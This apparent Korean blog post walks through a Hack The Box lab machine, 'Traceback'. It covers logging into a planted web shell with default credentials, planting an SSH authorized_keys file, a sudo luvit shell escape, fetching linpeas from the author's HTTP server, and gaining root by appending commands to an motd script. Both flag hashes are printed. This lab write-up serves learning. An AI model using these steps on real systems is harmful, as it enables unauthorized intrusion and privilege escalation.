Traceback을 위한 Hack The Box 작성

10036 단어 hacking
이 기사는 HackTheBox.eu에서 은퇴한 기계 중 하나인 역추적 해킹에 대한 나의 안내서입니다. 이것은 나의 첫 번째 해킹 가이드이므로 올바르게 하고 있기를 바랍니다.

나는이 상자를 즐겼다. 그것은 내 기술 수준에 맞았고 완료하는 데 약 2시간이 걸렸습니다.

ethical hacking 의 경우 VM에서 실행되는 Parrot Security Linux을 사용하고 있습니다.

시작하려면 대상 상자의 IP 주소를 사용하는 대신 traceback.htb라는/etc/hosts 항목을 만들었습니다. 이 변경으로 인해 상자의 IP 주소를 기억할 필요가 없기 때문에 작업이 훨씬 쉬워집니다.

sudo echo "10.10.10.181 >> /etc/hosts


Nmap 초기 스캔



nmap -A traceback.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 14:43 CDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.061s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds


매우 간단한 스캔. 웹과 ssh를 사용할 수 있는 것 같습니다.

웹 사이트는 다음과 같습니다.



웹사이트에서 소스를 보면 다음과 같은 사실이 드러납니다.



흠...

Google에서 해당 문자열을 검색하기로 결정했습니다.



안타를 친 것 같습니다. 이 서버에 해당 셸이 설치되어 있는지 확인하겠습니다. gobuster 시간입니다.

저는 GitHub에서 해당 셸 목록을 가져와 shells.txt라는 텍스트 파일에 덤프했습니다. 서버에서 찾을 수 있는지 봅시다.



이제 고버스터를 실행해 보겠습니다.



히트를 쳤습니다!

브라우저에 페이지를 로드했습니다.

http://traceback.htb/smevk.php


그리고 이것이 나타났습니다:



GitHub에서 원본의 소스 코드를 보면 코드에 기본 로그인이 포함되어 있는 것을 볼 수 있습니다.



Username: admin
Password: admin


그것들을 시도해 봅시다.



...접속했습니다. 현재 사용자가 webadmin인 것 같습니다. webadmin 폴더를 탐색한 후/home/webadmin/.ssh 폴더가 쓰기 가능하다는 것을 알았습니다. ssh를 통해 액세스 권한을 얻기 위해 키가 포함된 authorized_keys 파일을 업로드할 수 있습니다. ssh를 얻는 것은 매우 도움이 될 것입니다.

먼저 ssh 키를 생성해 보겠습니다.

ssh-keygen




이제 공개 키를 authorized_keys에 복사해 보겠습니다.

cp traceback.pub authorized_keys


이제 웹사이트의 양식을 통해 업로드해 보겠습니다.



좋아, 걸렸어. 이제 개인 키를 chmod하여 사용할 수 있도록 합시다.

chmod 600 traceback

이제 상자에 ssh를 입력해 보겠습니다.

ssh -I traceback [email protected]




우리는있다!



루트로 실행할 수 있는 프로그램이 있는지 살펴보겠습니다.

sudo -l




오, 유망해 보입니다. 나는 luvit을 검색하고 이것을 발견했습니다 :



Luvit은 Lua 애플리케이션처럼 보입니다. 나는 루아 애플리케이션을 이용할 수 있는지 알아보기 위해 gtfobins에 갔다.



그리고 여기에 우리의 전략이 있습니다. 먼저 다음을 실행했습니다.

sudo -u sysadmin /home/sysadmin/luvit


응용 프로그램에서 무언가를 입력하라는 메시지가 표시되었습니다. gtfobins에서 받은 명령을 입력했지만 sh 대신 bash를 사용했습니다.

os.execute("/bin/bash -i")


이제 sysadmin과 첫 번째 플래그에 액세스할 수 있습니다!





11dadca21fe54bc8d753f61fc7a47ada


이제 루트를 얻을 수 있는지 봅시다.

here에서 linpeas.sh를 다운로드했습니다.

wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh


박스에 직접 담아보려고 했는데 잘 안되네요.



내 로컬 박스에 다운로드하고 파이썬의 내장 http 서버를 사용하여 업로드하겠습니다. linpeas.sh가 있는 동일한 폴더에서 이것을 실행하고 있습니다.

python -m SimpleHTTPServer


이제 다음을 호출하여 원격에서 액세스할 수 있습니다.

wget http://10.10.14.26:8000/linpeas.sh




실행 가능하게 만들어 봅시다:

chmod +x linpeas.sh


이제 linpeas.sh를 실행하자

./linpeas.sh




출력을 스크롤하면서 다음을 확인했습니다.



00-header는 로그인할 때 헤더 메시지인 것 같습니다.



webadmin으로 로그인할 때 해당 셸에서 "id"를 실행할 수 있는지 확인하기로 했습니다. 이 명령은 해당 스크립트가 실행될 때 어떤 priv가 실행되고 있는지 알려줍니다.

echo "id" >> /etc/update-motd.d/00-header


로그인하면 어떤 사용자가 해당 파일을 실행하고 있는지 출력해야 합니다. 바라건대 뿌리.



붐 루트! 좋아, 그것을 이용하자. 우리는 루트 플래그가 항상/root/root.txt라는 것을 알고 있습니다.

echo "cat /root/root.txt" >> /etc/update-motd.d/00-header


이제 다시 로그인을 해봅시다.



루트 플래그가 인쇄된 것을 볼 수 있습니다.

b2a2c50f8f2c0d1acb6c0aaf090712c9


모두 끝났습니다! 이 익스플로잇을 쉽게 사용하여 상자에서 실제 루트를 얻을 수 있었지만 이 활동에 필요한 것은 루트 플래그뿐이었습니다. 이 상자는 재미있었습니다! 적극 추천합니다.

좋은 웹페이지 즐겨찾기